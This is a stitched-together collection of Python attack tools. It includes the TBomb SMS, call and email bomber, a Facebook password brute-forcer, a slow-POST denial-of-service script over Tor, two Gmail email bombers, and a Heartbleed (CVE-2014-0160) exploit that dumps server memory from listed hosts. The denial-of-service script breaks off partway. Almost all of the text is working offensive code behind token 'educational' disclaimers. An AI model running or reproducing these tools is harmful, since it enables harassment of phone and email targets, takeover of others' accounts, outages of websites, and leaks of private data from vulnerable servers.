1eh6mqlqs5@xdsedr.tech#!/usr/bin/python # -*- coding: UTF-8 -*- import os import shutil import sys import subprocess import string import random import json import re import time import argparse import zipfile from io import BytesIO from concurrent.futures import ThreadPoolExecutor, as_completed from utils.decorators import MessageDecorator from utils.provider import APIProvider try: import requests from colorama import Fore, Style except ImportError: print("\tSome dependencies could not be imported (possibly not installed)") print( "Type `pip3 install -r requirements.txt` to " " install all required packages") sys.exit(1) def readisdc(): with open("isdcodes.json") as file: isdcodes = json.load(file) return isdcodes def get_version(): try: return open(".version", "r").read().strip() except Exception: return '1.0' def clr(): if os.name == "nt": os.system("cls") else: os.system("clear") def bann_text(): clr() logo = """ ████████ █████ ██ ▒▒▒██▒▒▒ ██▒▒██ ██ ██ ██ ██ ██ ██ ██ ██ █████▒ ████ ███ ███ █████ ██ ██▒▒██ ██ ██ ██▒█▒██ ██▒▒██ ██ ██ ██ ██ ██ ██ ▒ ██ ██ ██ ██ █████▒ ▒████▒ ██ ██ █████▒ ▒▒ ▒▒▒▒▒ ▒▒▒▒ ▒▒ ▒▒ ▒▒▒▒▒ """ if ASCII_MODE: logo = "" version = "Version: "+__VERSION__ contributors = "Contributors: "+" ".join(__CONTRIBUTORS__) print(random.choice(ALL_COLORS) + logo + RESET_ALL) mesgdcrt.SuccessMessage(version) mesgdcrt.SectionMessage(contributors) print() def check_intr(): try: requests.get("https://motherfuckingwebsite.com") except Exception: bann_text() mesgdcrt.FailureMessage("Poor internet connection detected") sys.exit(2) def format_phone(num): num = [n for n in num if n in string.digits] return ''.join(num).strip() def do_zip_update(): success = False if DEBUG_MODE: zip_url = "https://github.com/TheSpeedX/TBomb/archive/dev.zip" dir_name = "TBomb-dev" else: zip_url = "https://github.com/TheSpeedX/TBomb/archive/master.zip" dir_name = "TBomb-master" print(ALL_COLORS[0]+"Downloading ZIP ... "+RESET_ALL) response = requests.get(zip_url) if response.status_code == 200: zip_content = response.content try: with zipfile.ZipFile(BytesIO(zip_content)) as zip_file: for member in zip_file.namelist(): filename = os.path.split(member) if not filename[1]: continue new_filename = os.path.join( filename[0].replace(dir_name, "."), filename[1]) source = zip_file.open(member) target = open(new_filename, "wb") with source, target: shutil.copyfileobj(source, target) success = True except Exception: mesgdcrt.FailureMessage("Error occured while extracting !!") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage( "Grab The Latest one From https://github.com/TheSpeedX/TBomb.git") sys.exit() def do_git_update(): success = False try: print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='') process = subprocess.Popen("git checkout . && git pull ", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while process: print(ALL_COLORS[0]+'.'+RESET_ALL, end='') time.sleep(1) returncode = process.poll() if returncode is not None: break success = not process.returncode except Exception: success = False print("\n") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage("Make Sure To Install 'git' ") mesgdcrt.GeneralMessage("Then run command:") print( "git checkout . && " "git pull https://github.com/TheSpeedX/TBomb.git HEAD") sys.exit() def update(): if shutil.which('git'): do_git_update() else: do_zip_update() def check_for_updates(): if DEBUG_MODE: mesgdcrt.WarningMessage( "DEBUG MODE Enabled! Auto-Update check is disabled.") return mesgdcrt.SectionMessage("Checking for updates") fver = requests.get( "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version" ).text.strip() if fver != __VERSION__: mesgdcrt.WarningMessage("An update is available") mesgdcrt.GeneralMessage("Starting update...") update() else: mesgdcrt.SuccessMessage("TBomb is up-to-date") mesgdcrt.GeneralMessage("Starting TBomb") def notifyen(): try: if DEBUG_MODE: url = "https://github.com/TheSpeedX/TBomb/raw/dev/.notify" else: url = "https://github.com/TheSpeedX/TBomb/raw/master/.notify" noti = requests.get(url).text.upper() if len(noti) > 10: mesgdcrt.SectionMessage("NOTIFICATION: " + noti) print() except Exception: pass def get_phone_info(): while True: target = "" cc = input(mesgdcrt.CommandMessage( "Enter your country code (Without +): ")) cc = format_phone(cc) if not country_codes.get(cc, False): mesgdcrt.WarningMessage( "The country code ({cc}) that you have entered" " is invalid or unsupported".format(cc=cc)) continue target = input(mesgdcrt.CommandMessage( "Enter the target number: +" + cc + " ")) target = format_phone(target) if ((len(target) <= 6) or (len(target) >= 12)): mesgdcrt.WarningMessage( "The phone number ({target})".format(target=target) + "that you have entered is invalid") continue return (cc, target) def get_mail_info(): mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$' while True: target = input(mesgdcrt.CommandMessage("Enter target mail: ")) if not re.search(mail_regex, target, re.IGNORECASE): mesgdcrt.WarningMessage( "The mail ({target})".format(target=target) + " that you have entered is invalid") continue return target def pretty_print(cc, target, success, failed): requested = success+failed mesgdcrt.SectionMessage("Bombing is in progress - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("Target : " + cc + " " + target) mesgdcrt.GeneralMessage("Sent : " + str(requested)) mesgdcrt.GeneralMessage("Successful : " + str(success)) mesgdcrt.GeneralMessage("Failed : " + str(failed)) mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") mesgdcrt.SuccessMessage("TBomb was created by SpeedX") def workernode(mode, cc, target, count, delay, max_threads): api = APIProvider(cc, target, mode, delay=delay) clr() mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("API Version : " + api.api_version) mesgdcrt.GeneralMessage("Target : " + cc + target) mesgdcrt.GeneralMessage("Amount : " + str(count)) mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads") mesgdcrt.GeneralMessage("Delay : " + str(delay) + " seconds") mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") print() input(mesgdcrt.CommandMessage( "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) if len(APIProvider.api_providers) == 0: mesgdcrt.FailureMessage("Your country/target is not supported yet") mesgdcrt.GeneralMessage("Feel free to reach out to us") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() success, failed = 0, 0 while success < count: with ThreadPoolExecutor(max_workers=max_threads) as executor: jobs = [] for i in range(count-success): jobs.append(executor.submit(api.hit)) for job in as_completed(jobs): result = job.result() if result is None: mesgdcrt.FailureMessage( "Bombing limit for your target has been reached") mesgdcrt.GeneralMessage("Try Again Later !!") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() if result: success += 1 else: failed += 1 clr() pretty_print(cc, target, success, failed) print("\n") mesgdcrt.SuccessMessage("Bombing completed!") time.sleep(1.5) bann_text() sys.exit() def selectnode(mode="sms"): mode = mode.lower().strip() try: clr() bann_text() check_intr() check_for_updates() notifyen() max_limit = {"sms": 500, "call": 15, "mail": 200} cc, target = "", "" if mode in ["sms", "call"]: cc, target = get_phone_info() if cc != "91": max_limit.update({"sms": 100}) elif mode == "mail": target = get_mail_info() else: raise KeyboardInterrupt limit = max_limit[mode] while True: try: message = ("Enter number of {type}".format(type=mode.upper()) + " to send (Max {limit}): ".format(limit=limit)) count = int(input(mesgdcrt.CommandMessage(message)).strip()) if count > limit or count == 0: mesgdcrt.WarningMessage("You have requested " + str(count) + " {type}".format( type=mode.upper())) mesgdcrt.GeneralMessage( "Automatically capping the value" " to {limit}".format(limit=limit)) count = limit delay = float(input( mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) .strip()) # delay = 0 max_thread_limit = (count//10) if (count//10) > 0 else 1 max_threads = int(input( mesgdcrt.CommandMessage( "Enter Number of Thread (Recommended: {max_limit}): " .format(max_limit=max_thread_limit))) .strip()) max_threads = max_threads if ( max_threads > 0) else max_thread_limit if (count < 0 or delay < 0): raise Exception break except KeyboardInterrupt as ki: raise ki except Exception: mesgdcrt.FailureMessage("Read Instructions Carefully !!!") print() workernode(mode, cc, target, count, delay, max_threads) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() mesgdcrt = MessageDecorator("icon") if sys.version_info[0] != 3: mesgdcrt.FailureMessage("TBomb will work only in Python v3") sys.exit() try: country_codes = readisdc()["isdcodes"] except FileNotFoundError: update() __VERSION__ = get_version() __CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] RESET_ALL = Style.RESET_ALL ASCII_MODE = False DEBUG_MODE = False description = """TBomb - Your Friendly Spammer Application TBomb can be used for many purposes which incudes - \t Exposing the vulnerable APIs over Internet \t Friendly Spamming \t Testing Your Spam Detector and more .... TBomb is not intented for malicious uses. """ parser = argparse.ArgumentParser(description=description, epilog='Coded by SpeedX !!!') parser.add_argument("-sms", "--sms", action="store_true", help="start TBomb with SMS Bomb mode") parser.add_argument("-call", "--call", action="store_true", help="start TBomb with CALL Bomb mode") parser.add_argument("-mail", "--mail", action="store_true", help="start TBomb with MAIL Bomb mode") parser.add_argument("-ascii", "--ascii", action="store_true", help="show only characters of standard ASCII set") parser.add_argument("-u", "--update", action="store_true", help="update TBomb") parser.add_argument("-c", "--contributors", action="store_true", help="show current TBomb contributors") parser.add_argument("-v", "--version", action="store_true", help="show current TBomb version") if __name__ == "__main__": args = parser.parse_args() if args.ascii: ASCII_MODE = True mesgdcrt = MessageDecorator("stat") if args.version: print("Version: ", __VERSION__) elif args.contributors: print("Contributors: ", " ".join(__CONTRIBUTORS__)) elif args.update: update() elif args.mail: selectnode(mode="mail") elif args.call: selectnode(mode="call") elif args.sms: selectnode(mode="sms") else: choice = "" avail_choice = { "1": "SMS", "2": "CALL", "3": "MAIL" } try: while (choice not in avail_choice): clr() bann_text() print("Available Options:\n") for key, value in avail_choice.items(): print("[ {key} ] {value} BOMB".format(key=key, value=value)) print() choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) selectnode(mode=avail_choice[choice].lower()) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() sys.exit()

#!usr/bin/python #Facebook Cracker Version 2 can crack into Facebook Database 100% without Interruption By Facebook Firewall ! #This program is for educational purposes only. #Don't attack people facebook accounts it's illegal ! #If you want to crack into someone's account, you must have the permission of the user. #InfosecHacker is not responsible. import sys import random import cookielib import mechanize GHT = ''' +=========================================+ |..........Facebook Cracker v 2...........| +-----------------------------------------+ |#Author: RdH4CK3r modified | || |#Date: 23/10/2015 | |#This tool is made for pentesting. | |#Changing the Description of this tool | |Won't made you the coder ^_^ !!! | |#Respect Coderz ^_^ | |#I take no responsibilities for the | | use of this program ! | +=========================================+ |..........Facebook Cracker v 2...........| +-----------------------------------------+ ''' print ("Note:- This tool can crack facebook account even if you don't have the email of your victim") print ("# Hit CTRL+C to quit the program") print ("# Use www.graph.facebook.com for more infos about your victim") email = str(raw_input("# Enter |Email| |Phone number| |Profile ID number| |Username| : ")) passwordlist = str(raw_input("Enter the name of the password list file : ")) useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] login = 'https://www.facebook.com/login.php?login_attempt=1' def attack(password): try: sys.stdout.write("\r[*] trying %s.. " % password) sys.stdout.flush() br.addheaders = [('User-agent', random.choice(useragents))] site = br.open(login) br.select_form(nr=0) ##Facebook br.form['email'] =email br.form['pass'] = password br.submit() log = br.geturl() if log == login: print ("\n\n\n [*] Password found .. !!") print ("\n [*] Password : %s\n") % (password) sys.exit(1) except KeyboardInterrupt: print ("\n[*] Exiting program .. ") sys.exit(1) def search(): global password for password in passwords: attack(password.replace("\n","")) def check(): global br global passwords try: br = mechanize.Browser() cj = cookielib.LWPCookieJar() br.set_handle_robots(False) br.set_handle_equiv(True) br.set_handle_referer(True) br.set_handle_redirect(True) br.set_cookiejar(cj) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) except KeyboardInterrupt: print ("\n[*] Exiting program ..\n") sys.exit(1) try: list = open(passwordlist, "r") passwords = list.readlines() k = 0 while k < len(passwords): passwords[k] = passwords[k].strip() k += 1 except IOError: print ("\n [*] Error: check your password list path \n") sys.exit(1) except KeyboardInterrupt: print ("\n [*] Exiting program ..\n") sys.exit(1) try: print (GHT) print (" [*] Account to crack : %s") % (email) print (" [*] Loaded :") , len(passwords), "passwords" print (" [*] Cracking, please wait ...") except KeyboardInterrupt: print ("\n [*] Exiting program ..\n") sys.exit(1) try: search() attack(password) except KeyboardInterrupt: print ("\n [*] Exiting program ..\n") sys.exit(1) if __name__ == '__main__': check()

#!/usr/bin/python # this assumes you have the socks.py (http://phiral.net/socks.py) # and terminal.py (http://phiral.net/terminal.py) in the # same directory and that you have tor running locally # on port 9150. run with 128 to 256 threads to be effective. # kills apache 1.X with ~128, apache 2.X / IIS with ~256 # not effective on nginx import time import sys import random import getopt import socks import string import terminal from threading import Thread global stop_now global term stop_now = False term = terminal.TerminalController() useragents = [ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", "Googlebot/2.1 (http://www.googlebot.com/bot.html)", "Opera/9.20 (Windows NT 6.0; U; en)", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)", "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0", "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)" ] class httpPost(Thread): def __init__(self, host, port, tor): Thread.__init__(self) self.host = host self.port = port self.socks = socks.socksocket() self.tor = tor self.running = True def _send_http_post(self, pause=10): global stop_now self.socks.send("POST / HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: keep-alive\r\n" "Keep-Alive: 900\r\n" "Content-Length: 10000\r\n" "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % (self.host, random.choice(useragents))) for i in range(0, 9999): if stop_now: self.running = False break p = random.choice(string.letters+string.digits) print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL self.socks.send(p) time.sleep(random.uniform(0.1, 3)) # self.socks.close() def run(self): while self.running: while self.running: try: if self.tor: self.socks.set_proxy(socks.SOCKS5, '127.0.0.1', 9150) time.sleep(1) self.socks.connect((self.host, self.port)) print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL break except Exception, e: print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host

#!/usr/bin/python #E-bomber import os import smtplib import getpass import sys import time print ' ' print ' ' print ' ################################################# ' print ' # # ' print ' # Email Bomb # ' print ' # # ' print ' # create By @ Nik # ' print ' # # ' print ' # Hello Buddy i am @ nik # ' print ' # # ' print ' # missing something word # ' print ' # # ' print ' # # ' print ' ################################################# ' print ' ' print ' ' print ' ' email = raw_input('Attacker Gmail Address : ') print ' ' user = raw_input('Anonymous name : ') print ' ' passwd = getpass.getpass('Password: ') print ' ' to = raw_input('\nTo: ') print ' ' body = raw_input('Message: ') print ' ' total = input('Number of send: ') smtp_server = 'smtp.gmail.com' port = 587 print '' try: server = smtplib.SMTP(smtp_server,port) server.ehlo() server.starttls() server.login(email,passwd) for i in range(1, total+1): subject = os.urandom(9) msg = 'From: ' + user + '\nSubject: ' + '\n' + body server.sendmail(email,to,msg) print "\rE-mails sent: %i" % i time.sleep(1) sys.stdout.flush() server.quit() print '\n Done !!!' except KeyboardInterrupt: print '[-] Canceled' sys.exit() except smtplib.SMTPAuthenticationError: print '\n[!] The username or password you entered is incorrect.' sys.exit()

#!/usr/bin/python #E-bomber #This code for education purpose only. #Use it at your own risk !!! import os import smtplib import getpass import sys import time print ' ' print ' ' print ' ################################################# ' print ' # # ' print ' # Email Bomber ( Spamming Tool ) # ' print ' # # ' print ' # Version 2.0 # ' print ' # # ' print ' # Modified by : Mohin Paramasivam # ' print ' # # ' print ' # Only for Educational Purposes !! # ' print ' # # ' print ' ################################################# ' print ' ' print ' ' print ' ' email = raw_input('自己的電子信箱: ') print ' ' user = raw_input('使用者名稱 : ') print ' ' passwd = getpass.getpass( '使用者名稱: ') print ' ' to = raw_input('\nTo: ') print ' ' body = raw_input('發送的內容: ') print ' ' total = input('發送幾次: ') smtp_server = 'smtp.gmail.com' port = 587 print '' try: server = smtplib.SMTP(smtp_server,port) server.ehlo() server.starttls() server.login(email,passwd) for i in range(1, total+1): subject = os.urandom(9) msg = 'From: ' + user + '\nSubject: ' + '\n' + body server.sendmail(email,to,msg) print "\rE-mails sent: %i" % i time.sleep(0.3) sys.stdout.flush() server.quit() print '\n Done !!!' except KeyboardInterrupt: print '[-] Canceled' sys.exit() except smtplib.SMTPAuthenticationError: print '\n[!] The username or password you entered is incorrect.' sys.exit()

#!/usr/bin/python # Modified by Travis Lee # -changed output to display text only instead of hexdump and made it easier to read # -added option to specify number of times to connect to server (to get more data) # -added option to specify TLS version # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port) # -added option to have verbose output # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)') options.add_option('-t', '--tls', type='int', default=1, help='Specify TLS version: 0 = 1.0, 1 = 1.1, 2 = 1.2 (default: 1)') options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...') options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port') options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output') opts, args = options.parse_args() def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') # set TLS version if opts.tls == 0: hb = h2bin('''18 03 01 00 03 01 40 00''') elif opts.tls == 1: hb = h2bin('''18 03 02 00 03 01 40 00''') elif opts.tls == 2: hb = h2bin('''18 03 03 00 03 01 40 00''') else: hb = h2bin('''18 03 02 00 03 01 40 00''') def hexdump(s): pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] #hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin) #print ' %04x: %-48s %s' % (b, hxdat, pdat) pdat = re.sub(r'([.]{50,})', '', pdat) return pdat def recvall(s, length, timeout=5): try: endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata except: print "Error receiving data: ", sys.exc_info()[0] def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None if opts.verbose: print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s, targ): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return '' if typ == 24: if opts.verbose: print 'Received heartbeat response...' #hexdump(pay) if len(pay) > 3: print 'WARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return hexdump(pay) if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return '' def bleed(targ, port): try: res = '' print print '##################################################################' print 'Connecting to: ' + targ + ':' + str(port) + ' with TLSv1.' + str(opts.tls) for x in range(0, opts.num): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() s.settimeout(10) s.connect((targ, port)) # send starttls command if specified as an option or if common smtp/pop3/imap ports are used if (opts.starttls) or (port in {25, 587, 110, 143, 21}): stls = False atls = False # check if smtp supports starttls/stls if port in {25, 587}: print 'SMTP Port... Checking for STARTTLS Capability...' check = s.recv(1024) s.send("EHLO someone.org\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if pop3/imap supports starttls/stls elif port in {110, 143}: print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...' check = s.recv(1024) if port == 110: s.send("CAPA\n") if port == 143: s.send("CAPABILITY\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if ftp supports auth tls/starttls elif port in {21}: print 'FTP Port... Checking for AUTH TLS Capability...' check = s.recv(1024) s.send("FEAT\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "AUTH TLS" in check: opts.starttls = True atls = True print "AUTH TLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # send appropriate tls command if supported if opts.starttls: sys.stdout.flush() if stls: print 'Sending STLS Command...' s.send("STLS\n") elif atls: print 'Sending AUTH TLS Command...' s.send("AUTH TLS\n") else: print 'Sending STARTTLS Command...' s.send("STARTTLS\n") if opts.verbose: print 'Waiting for reply...' sys.stdout.flush() recvall(s, 100000, 1) print print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) if opts.verbose: print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' print '##################################################################' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) res += hit_hb(s, targ) s.close() print '##################################################################' print return res except: print "Error connecting to host: ", sys.exc_info()[0] print '##################################################################' print def main(): allresults = '' # if a file is specified, loop through file if opts.filein: fileIN = open(opts.filein, "r") for line in fileIN: targetinfo = line.strip().split(":") if len(targetinfo) > 1: allresults = bleed(targetinfo[0], int(targetinfo[1])) else: allresults = bleed(targetinfo[0], opts.port) if allresults: print '%s' % (allresults) fileIN.close() else: if len(args) < 1: options.print_help() return allresults = bleed(args[0], opts.port) if allresults: print '%s' % (allresults) print if __name__ == '__main__': main()